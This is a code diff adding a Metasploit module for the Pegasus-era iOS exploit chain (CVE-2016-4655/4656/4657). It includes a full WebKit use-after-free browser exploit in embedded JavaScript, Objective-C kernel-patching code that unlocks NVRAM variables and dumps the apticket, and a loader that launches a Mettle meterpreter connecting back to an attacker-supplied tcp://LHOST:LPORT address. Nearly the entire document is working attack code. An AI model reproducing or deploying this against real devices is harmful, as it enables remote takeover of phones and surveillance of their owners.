typedef struct IOServiceInterestContent IOServiceInterestContent;
typedef struct IOAsyncCompletionContent IOAsyncCompletionContent;
#endif
#ifdef __cplusplus
}
#endif
#endif /* __OS_OSMESSAGENOTIFICATION_H */

View File

@ -0,0 +1,23 @@
/*
* mach-o.h - Code that deals with the Mach-O file format
* Taken from kern-utils
*
* Copyright (c) 2012 comex
* Copyright (c) 2016 Siguza
*/
#ifndef MACH_O_H
#define MACH_O_H
#include <mach-o/loader.h> // load_command
/*
* Iterate over all load commands in a Mach-O header
*/
#define CMD_ITERATE(hdr, cmd) \
for(struct load_command *cmd = (struct load_command *) ((hdr) + 1), \
*end = (struct load_command *) ((char *) cmd + (hdr)->sizeofcmds); \
cmd < end; \
cmd = (struct load_command *) ((char *) cmd + cmd->cmdsize))
#endif

View File

@ -0,0 +1,60 @@
#import <UIKit/UIKit.h>
#include "arch.h"
#include "exploit64.h"
#include "nvpatch.h"
#include "set.h"
#include <mettle.h>
void suspend_all_threads() {
thread_act_t other_thread, current_thread;
unsigned int thread_count;
thread_act_array_t thread_list;
current_thread = mach_thread_self();
int result = task_threads(mach_task_self(), &thread_list, &thread_count);
if (result == -1) {
exit(1);
}
if (!result && thread_count) {
for (unsigned int i = 0; i < thread_count; ++i) {
other_thread = thread_list[i];
if (other_thread != current_thread) {
int kr = thread_suspend(other_thread);
if (kr != KERN_SUCCESS) {
mach_error("thread_suspend:", kr);
exit(1);
}
}
}
}
}
const char payload_url[256] = "PAYLOAD_URL";
void start_mettle()
{
struct mettle *m = mettle();
if (m == NULL) {
return;
}
c2_add_transport_uri(mettle_get_c2(m), payload_url);
mettle_start(m);
mettle_free(m);
}
int main(int argc, char * argv[]) {
suspend_all_threads();
vm_address_t kbase = 0;
task_t kernel_task = get_kernel_task(&kbase);
start_mettle();
return 0;
}

View File

@ -0,0 +1,27 @@
/*
* nvpatch.h - Patch kernel to unrestrict NVRAM variables
* Taken and modified from kern-utils
*
* Copyright (c) 2014 Samuel Groß
* Copyright (c) 2016 Pupyshev Nikita
* Copyright (c) 2017 Siguza
*/
#ifndef NVPATCH_H
#define NVPATCH_H
#include <stdio.h>
#include <mach/mach.h>
#define MAX_HEADER_SIZE 0x4000
typedef struct
{
vm_address_t addr;
vm_size_t len;
char *buf;
} segment_t;
int nvpatch(task_t kernel_task, vm_address_t kbase, const char *target);
#endif

View File

@ -0,0 +1,309 @@
/*
* nvpatch.m - Patch kernel to unrestrict NVRAM variables
* Taken and modified from kern-utils
*
* Copyright (c) 2014 Samuel Groß
* Copyright (c) 2016 Pupyshev Nikita
* Copyright (c) 2017 Siguza
*/
#include <errno.h> // errno
#include <stdio.h> // fprintf, stderr
#include <stdlib.h> // free, malloc
#include <string.h> // memmem, strcmp, strnlen
#include "arch.h" // ADDR, MACH_*, mach_*
#include "mach-o.h" // CMD_ITERATE
#include "nvpatch.h"
#define STRING_SEG "__TEXT"
#define STRING_SEC "__cstring"
#define OFVAR_SEG "__DATA"
#define OFVAR_SEC "__data"
enum
{
kOFVarTypeBoolean = 1,
kOFVarTypeNumber,
kOFVarTypeString,
kOFVarTypeData,
};
enum
{
kOFVarPermRootOnly = 0,
kOFVarPermUserRead,
kOFVarPermUserWrite,
kOFVarPermKernelOnly,
};
typedef struct
{
vm_address_t name;
uint32_t type;
uint32_t perm;
int32_t offset;
} OFVar;
#define MAX_CHUNK_SIZE 0xFFF /* MIG limitation */
static vm_size_t kernel_read(task_t kernel_task, vm_address_t addr, vm_size_t size, void *buf)
{
kern_return_t ret;
vm_size_t remainder = size,
bytes_read = 0;
// The vm_* APIs are part of the mach_vm subsystem, which is a MIG thing
// and therefore has a hard limit of 0x1000 bytes that it accepts. Due to
// this, we have to do both reading and writing in chunks smaller than that.
for(vm_address_t end = addr + size; addr < end; remainder -= size)
{
size = remainder > MAX_CHUNK_SIZE ? MAX_CHUNK_SIZE : remainder;
ret = vm_read_overwrite(kernel_task, addr, size, (vm_address_t)&((char*)buf)[bytes_read], &size);
if(ret != KERN_SUCCESS || size == 0)
{
LOG("vm_read error: %s", mach_error_string(ret));
break;
}
bytes_read += size;
addr += size;
}
return bytes_read;
}
static vm_size_t kernel_write(task_t kernel_task, vm_address_t addr, vm_size_t size, void *buf)
{
kern_return_t ret;
vm_size_t remainder = size,
bytes_written = 0;
for(vm_address_t end = addr + size; addr < end; remainder -= size)
{
size = remainder > MAX_CHUNK_SIZE ? MAX_CHUNK_SIZE : remainder;
ret = vm_write(kernel_task, addr, (vm_offset_t)&((char*)buf)[bytes_written], (mach_msg_type_number_t)size);
if(ret != KERN_SUCCESS)
{
LOG("vm_write error: %s", mach_error_string(ret));
break;
}
bytes_written += size;
addr += size;
}
return bytes_written;
}
int nvpatch(task_t kernel_task, vm_address_t kbase, const char *target)
{
mach_hdr_t *hdr = malloc(MAX_HEADER_SIZE);
if(hdr == NULL)
{
LOG("Failed to allocate header buffer (%s)", strerror(errno));
return -1;
}
memset(hdr, 0, MAX_HEADER_SIZE);
LOG("Reading kernel header...");
if(kernel_read(kernel_task, kbase, MAX_HEADER_SIZE, hdr) != MAX_HEADER_SIZE)
{
LOG("Kernel I/O error");
return -1;
}
segment_t
cstring =
{
.addr = 0,
.len = 0,
.buf = NULL,
},
data =
{
.addr = 0,
.len = 0,
.buf = NULL,
};
CMD_ITERATE(hdr, cmd)
{
switch(cmd->cmd)
{
case MACH_LC_SEGMENT:
{
mach_seg_t *seg = (mach_seg_t*)cmd;
mach_sec_t *sec = (mach_sec_t*)(seg + 1);
for(size_t i = 0; i < seg->nsects; ++i)
{
if(strcmp(sec[i].segname, STRING_SEG) == 0 && strcmp(sec[i].sectname, STRING_SEC) == 0)
{
LOG("Found " STRING_SEG "." STRING_SEC " section at " ADDR, (vm_address_t)sec[i].addr);
cstring.addr = sec[i].addr;
cstring.len = sec[i].size;
cstring.buf = malloc(cstring.len);
if(cstring.buf == NULL)
{
LOG("Failed to allocate section buffer (%s)", strerror(errno));
return -1;
}
if(kernel_read(kernel_task, cstring.addr, cstring.len, cstring.buf) != cstring.len)
{
LOG("Kernel I/O error");
return -1;
}
}
else if(strcmp(sec[i].segname, OFVAR_SEG) == 0 && strcmp(sec[i].sectname, OFVAR_SEC) == 0)
{
LOG("Found " OFVAR_SEG "." OFVAR_SEC " section at " ADDR, (vm_address_t)sec[i].addr);
data.addr = sec[i].addr;
data.len = sec[i].size;
data.buf = malloc(data.len);
if(data.buf == NULL)
{
LOG("Failed to allocate section buffer (%s)", strerror(errno));
return -1;
}
if(kernel_read(kernel_task, data.addr, data.len, data.buf) != data.len)
{
LOG("Kernel I/O error");
return -1;
}
}
}
}
break;
}
}
if(cstring.buf == NULL)
{
LOG("Failed to find " STRING_SEG "." STRING_SEC " section");
return -1;
}
if(data.buf == NULL)
{
LOG("Failed to find " OFVAR_SEG "." OFVAR_SEC " section");
return -1;
}
// This is the name of the first NVRAM variable
char first[] = "little-endian?";
char *str = memmem(cstring.buf, cstring.len, first, sizeof(first));
if(str == NULL)
{
LOG("Failed to find string \"%s\"", first);
return -1;
}
vm_address_t str_addr = (str - cstring.buf) + cstring.addr;
LOG("Found string \"%s\" at " ADDR, first, str_addr);
// Now let's find a reference to it
OFVar *gOFVars = NULL;
for(vm_address_t *ptr = (vm_address_t*)data.buf, *end = (vm_address_t*)&data.buf[data.len]; ptr < end; ++ptr)
{
if(*ptr == str_addr)
{
gOFVars = (OFVar*)ptr;
break;
}
}
if(gOFVars == NULL)
{
LOG("Failed to find gOFVariables");
return -1;
}
vm_address_t gOFAddr = ((char*)gOFVars - data.buf) + data.addr;
LOG("Found gOFVariables at " ADDR, gOFAddr);
// Sanity checks
size_t numvars = 0,
longest_name = 0;
for(OFVar *var = gOFVars; (char*)var < &data.buf[data.len]; ++var)
{
if(var->name == 0) // End marker
{
break;
}
if(var->name < cstring.addr || var->name >= cstring.addr + cstring.len)
{
LOG("gOFVariables[%lu].name is out of bounds", numvars);
return -1;
}
char *name = &cstring.buf[var->name - cstring.addr];
size_t maxlen = cstring.len - (name - cstring.buf),
namelen = strnlen(name, maxlen);
if(namelen == maxlen)
{
LOG("gOFVariables[%lu].name exceeds __cstring size", numvars);
return -1;
}
for(size_t i = 0; i < namelen; ++i)
{
if(name[i] < 0x20 || name[i] >= 0x7f)
{
LOG("gOFVariables[%lu].name contains non-printable character: 0x%02x", numvars, name[i]);
return -1;
}
}
longest_name = namelen > longest_name ? namelen : longest_name;
switch(var->type)
{
case kOFVarTypeBoolean:
case kOFVarTypeNumber:
case kOFVarTypeString:
case kOFVarTypeData:
break;
default:
LOG("gOFVariables[%lu] has unknown type: 0x%x", numvars, var->type);
return -1;
}
switch(var->perm)
{
case kOFVarPermRootOnly:
case kOFVarPermUserRead:
case kOFVarPermUserWrite:
case kOFVarPermKernelOnly:
break;
default:
LOG("gOFVariables[%lu] has unknown permissions: 0x%x", numvars, var->perm);
return -1;
}
++numvars;
}
if(numvars < 1)
{
LOG("gOFVariables contains zero entries");
return -1;
}
for(size_t i = 0; i < numvars; ++i)
{
char *name = &cstring.buf[gOFVars[i].name - cstring.addr];
if(strcmp(name, target) == 0)
{
if(gOFVars[i].perm != kOFVarPermKernelOnly)
{
LOG("Variable \"%s\" is already writable for %s", target, gOFVars[i].perm == kOFVarPermUserWrite ? "everyone" : "root");
goto done;
}
vm_size_t off = ((char*)&gOFVars[i].perm) - data.buf;
uint32_t newperm = kOFVarPermUserWrite; // was kOFVarPermRootOnly
if(kernel_write(kernel_task, data.addr + off, sizeof(newperm), &newperm) != sizeof(newperm))
{
LOG("Kernel I/O error");
return -1;
}
LOG("Successfully patched permissions for variable \"%s\"", target);
goto done;
}
}
LOG("Failed to find variable \"%s\"", target);
return -1;
done:;
free(cstring.buf);
free(data.buf);
free(hdr);
return 0;
}

View File

@ -0,0 +1,16 @@
/*
* set.h - High-level handler to set boot nonce
*
* Copyright (c) 2017 Siguza & tihmstar
*/
#ifndef SET_H
#define SET_H
#include <stdbool.h>
bool set_generator(const char *gen);
bool dump_apticket(const char *to);
#endif

View File

@ -0,0 +1,124 @@
/*
* set.m - High-level handler to set boot nonce
*
* Copyright (c) 2017 Siguza & tihmstar
*/
#include <errno.h>
#include <stdbool.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
#include "arch.h"
#include "exploit64.h"
#include "nvpatch.h"
#include "set.h"
static int party_hard(void)
{
int ret = 0;
if(getuid() != 0) // Skip if we got root already
{
ret = -1;
vm_address_t kbase = 0;
task_t kernel_task = get_kernel_task(&kbase);
LOG("kernel_task: 0x%x", kernel_task);
if(MACH_PORT_VALID(kernel_task))
{
ret = nvpatch(kernel_task, kbase, "com.apple.System.boot-nonce");
}
}
return ret;
}
bool set_generator(const char *gen)
{
bool ret = false;
CFStringRef str = CFStringCreateWithCStringNoCopy(NULL, gen, kCFStringEncodingUTF8, kCFAllocatorNull);
CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFCopyStringDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
if(!str || !dict)
{
LOG("Failed to allocate CF objects");
}
else
{
CFDictionarySetValue(dict, CFSTR("com.apple.System.boot-nonce"), str);
CFRelease(str);
io_service_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM"));
if(!MACH_PORT_VALID(nvram))
{
LOG("Failed to get IODTNVRAM service");
}
else
{
if(party_hard() == 0)
{
kern_return_t kret = IORegistryEntrySetCFProperties(nvram, dict);
LOG("IORegistryEntrySetCFProperties: %s", mach_error_string(kret));
if(kret == KERN_SUCCESS)
{
ret = true;
}
}
}
CFRelease(dict);
}
return ret;
}
bool dump_apticket(const char *to)
{
bool ret = false;
if(party_hard() == 0)
{
const char *from = "/System/Library/Caches/apticket.der";
struct stat s;
if(stat(from, &s) != 0)
{
LOG("stat failed: %s", strerror(errno));
}
else
{
FILE *in = fopen(from, "rb");
if(in == NULL)
{
LOG("failed to open src: %s", strerror(errno));
}
else
{
FILE *out = fopen(to, "wb");
if(out == NULL)
{
LOG("failed to open dst: %s", strerror(errno));
}
else
{
char *buf = malloc(s.st_size);
if(buf == NULL)
{
LOG("failed to alloc buf: %s", strerror(errno));
}
else
{
fread(buf, s.st_size, 1, in);
fwrite(buf, s.st_size, 1, out);
free(buf);
ret = true;
}
fclose(out);
}
fclose(in);
}
}
}
return ret;
}

View File

@ -0,0 +1,10 @@
#!/bin/bash
make clean
rsync -azPr -e "ssh -p2222" --delete . localhost:rsync/cve/
ssh -p2222 localhost "bash -l -c 'cd rsync/cve && make main_vm' && echo Done!"
rsync -azPr -e "ssh -p2222" --delete localhost:rsync/cve/ .
ls -l main_vm
cp main_vm ../../../../data/exploits/CVE-2016-4655/exploit

View File

@ -0,0 +1,302 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'WebKit not_number defineProperties UAF',
'Description' => %q{
This module exploits a UAF vulnerability in WebKit's JavaScriptCore library.
},
'License' => MSF_LICENSE,
'Author' => [
'qwertyoruiop', # jbme.qwertyoruiop.com
'siguza', # PhoenixNonce
'tihmstar', # PhoenixNonce
'timwr', # metasploit integration
],
'References' => [
['CVE', '2016-4655'],
['CVE', '2016-4656'],
['CVE', '2016-4657'],
['BID', '92651'],
['BID', '92652'],
['BID', '92653'],
['URL', 'https://blog.lookout.com/trident-pegasus'],
['URL', 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'],
['URL', 'https://www.blackhat.com/docs/eu-16/materials/eu-16-Bazaliy-Mobile-Espionage-in-the-Wild-Pegasus-and-Nation-State-Level-Attacks.pdf'],
['URL', 'https://github.com/Siguza/PhoenixNonce'],
['URL', 'https://jndok.github.io/2016/10/04/pegasus-writeup/'],
['URL', 'https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html'],
],
'Arch' => ARCH_AARCH64,
'Platform' => 'apple_ios',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },
'Targets' => [[ 'Automatic', {} ]],
'DisclosureDate' => 'Aug 25 2016'))
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8080 ]),
OptString.new('URIPATH', [ true, "The URI to use for this exploit.", "/" ])
])
end
def on_request_uri(cli, request)
print_status("Request from #{request['User-Agent']}")
if request.uri =~ %r{/loader$}
print_good("Target is vulnerable.")
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "loader" )
loader_data = File.read(local_file, {:mode => 'rb'})
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
return
elsif request.uri =~ %r{/exploit$}
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2016-4655", "exploit" )
loader_data = File.read(local_file, {:mode => 'rb'})
payload_url = "tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"
payload_url_index = loader_data.index('PAYLOAD_URL')
loader_data[payload_url_index, payload_url.length] = payload_url
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
print_status("Sent exploit (#{loader_data.size} bytes)")
return
end
html = %Q^
<html>
<body>
<script>
function load_binary_resource(url) {
var req = new XMLHttpRequest();
req.open('GET', url, false);
req.overrideMimeType('text/plain; charset=x-user-defined');
req.send(null);
return req.responseText;
}
var mem0 = 0;
var mem1 = 0;
var mem2 = 0;
function read4(addr) {
mem0[4] = addr;
var ret = mem2[0];
mem0[4] = mem1;
return ret;
}
function write4(addr, val) {
mem0[4] = addr;
mem2[0] = val;
mem0[4] = mem1;
}
filestream = load_binary_resource("exploit")
var shll = new Uint32Array(filestream.length / 4);
for (var i = 0; i < filestream.length;) {
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
shll[i / 4] = word;
i += 4;
}
_dview = null;
function u2d(low, hi) {
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0, hi);
_dview.setUint32(4, low);
return _dview.getFloat64(0);
}
var pressure = new Array(100);
var bufs = new Array(10000);
dgc = function() {
for (var i = 0; i < pressure.length; i++) {
pressure[i] = new Uint32Array(0x10000);
}
for (var i = 0; i < pressure.length; i++) {
pressure[i] = 0;
}
}
function swag() {
if (bufs[0]) return;
for (var i = 0; i < 4; i++) {
dgc();
}
for (i = 0; i < bufs.length; i++) {
bufs[i] = new Uint32Array(0x100 * 2)
for (k = 0; k < bufs[i].length;) {
bufs[i][k++] = 0x41414141;
bufs[i][k++] = 0xffff0000;
}
}
}
var trycatch = "";
for (var z = 0; z < 0x2000; z++) trycatch += "try{} catch(e){}; ";
var fc = new Function(trycatch);
var fcp = 0;
var smsh = new Uint32Array(0x10)
function smashed(stl) {
document.body.innerHTML = "";
var jitf = (smsh[(0x10 + smsh[(0x10 + smsh[(fcp + 0x18) / 4]) / 4]) / 4]);
write4(jitf, 0xd28024d0); //movz x16, 0x126
write4(jitf + 4, 0x58000060); //ldr x0, 0x100007ee4
write4(jitf + 8, 0xd4001001); //svc 80
write4(jitf + 12, 0xd65f03c0); //ret
write4(jitf + 16, jitf + 0x20);
write4(jitf + 20, 1);
fc();
var dyncache = read4(jitf + 0x20);
var dyncachev = read4(jitf + 0x20);
var go = 1;
while (go) {
if (read4(dyncache) == 0xfeedfacf) {
for (i = 0; i < 0x1000 / 4; i++) {
if (read4(dyncache + i * 4) == 0xd && read4(dyncache + i * 4 + 1 * 4) == 0x40 && read4(dyncache + i * 4 + 2 * 4) == 0x18 && read4(dyncache + i * 4 + 11 * 4) == 0x61707369) // lulziest mach-o parser ever
{
go = 0;
break;
}
}
}
dyncache += 0x1000;
}
dyncache -= 0x1000;
var bss = [];
var bss_size = [];
for (i = 0; i < 0x1000 / 4; i++) {
if (read4(dyncache + i * 4) == 0x73625f5f && read4(dyncache + i * 4 + 4) == 0x73) {
bss.push(read4(dyncache + i * 4 + (0x20)) + dyncachev - 0x80000000);
bss_size.push(read4(dyncache + i * 4 + (0x28)));
}
}
var shc = jitf;
var filestream = load_binary_resource("loader")
for (var i = 0; i < filestream.length;) {
var word = (filestream.charCodeAt(i) & 0xff) | ((filestream.charCodeAt(i + 1) & 0xff) << 8) | ((filestream.charCodeAt(i + 2) & 0xff) << 16) | ((filestream.charCodeAt(i + 3) & 0xff) << 24);
write4(shc, word);
shc += 4;
i += 4;
}
jitf &= ~0x3FFF;
jitf += 0x8000;
write4(shc, jitf);
write4(shc + 4, 1);
// copy macho
for (var i = 0; i < shll.length; i++) {
write4(jitf + i * 4, shll[i]);
}
for (var i = 0; i < bss.length; i++) {
for (k = bss_size[i] / 6; k < bss_size[i] / 4; k++) {
write4(bss[i] + k * 4, 0);
}
}
fc();
}
function go_() {
if (smsh.length != 0x10) {
smashed();
return;
}
dgc();
var arr = new Array(0x100);
var yolo = new ArrayBuffer(0x1000);
arr[0] = yolo;
arr[1] = 0x13371337;
var not_number = {};
not_number.toString = function() {
arr = null;
props["stale"]["value"] = null;
swag();
return 10;
};
var props = {
p0: {
value: 0
},
p1: {
value: 1
},
p2: {
value: 2
},
p3: {
value: 3
},
p4: {
value: 4
},
p5: {
value: 5
},
p6: {
value: 6
},
p7: {
value: 7
},
p8: {
value: 8
},
length: {
value: not_number
},
stale: {
value: arr
},
after: {
value: 666
}
};
var target = [];
var stale = 0;
Object.defineProperties(target, props);
stale = target.stale;
stale[0] += 0x101;
stale[1] = {}
for (var z = 0; z < 0x1000; z++) fc();
for (i = 0; i < bufs.length; i++) {
for (k = 0; k < bufs[0].length; k++) {
if (bufs[i][k] == 0x41414242) {
stale[0] = fc;
fcp = bufs[i][k];
stale[0] = {
'a': u2d(105, 0),
'b': u2d(0, 0),
'c': smsh,
'd': u2d(0x100, 0)
}
stale[1] = stale[0]
bufs[i][k] += 0x10; // misalign so we end up in JSObject's properties, which have a crafted Uint32Array pointing to smsh
bck = stale[0][4];
stale[0][4] = 0; // address, low 32 bits
// stale[0][5] = 1; // address, high 32 bits == 0x100000000
stale[0][6] = 0xffffffff;
mem0 = stale[0];
mem1 = bck;
mem2 = smsh;
bufs.push(stale)
if (smsh.length != 0x10) {
smashed(stale[0]);
}
return;
}
}
}
setTimeout(function() {
document.location.reload();
}, 2000);
}
dgc();
setTimeout(go_, 200);
</script>
</body>
</html>
^
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end